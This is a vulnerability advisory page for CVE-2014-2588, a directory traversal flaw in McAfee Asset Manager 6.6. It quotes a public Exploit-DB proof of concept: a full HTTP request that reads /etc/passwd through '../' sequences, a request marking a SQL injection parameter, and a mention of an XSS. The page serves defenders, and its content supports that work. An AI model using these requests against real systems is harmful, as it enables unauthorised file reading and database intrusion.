CVE-2014-2588

medium

Published 2014-03-24 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Directory traversal vulnerability in servlet/downloadReport in McAfee Asset Manager 6.6 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the reportFileName parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-32368 webapps jsp text · 2 KB

Brandon Perry · 2014-03-19

McAfee Asset Manager 6.6 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

Cloud SSO is vuln to unauthed XSS in the authentication audit form:

https://twitter.com/BrandonPrry/status/445969380656943104

McAfee Asset Manager v6.6 multiple vulnerabilities

http://www.mcafee.com/us/products/asset-manager.aspx

Authenticated arbitrary file read
An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality.
By generating a report, the user's browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd.

GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/Inventory?filterColumns=&curViewId=-1&maintainQuery=true&format=search&collectorId=null&criticality=0&pageNum=1&location=Inventory&viewSelect=-999999&filterValueField=&orderBy=FIREWALLED&orderBy2=SITE&orderBy3=CRITICALITY_NAME&wsz=200&wszCtrl_1=200&action=AUDIT_REDISCOVER&formatSelect=
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive


Authenticated SQL injection

An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the 'user' parameter is susceptible to the SQL injection:

POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator


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Application impact

Vendor	Product	Versions	Fixed
mcafee	asset_manager	`6.6`

References

CWEs

CWE-22

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Verify integrity in audit chain (admin only). AS-IS.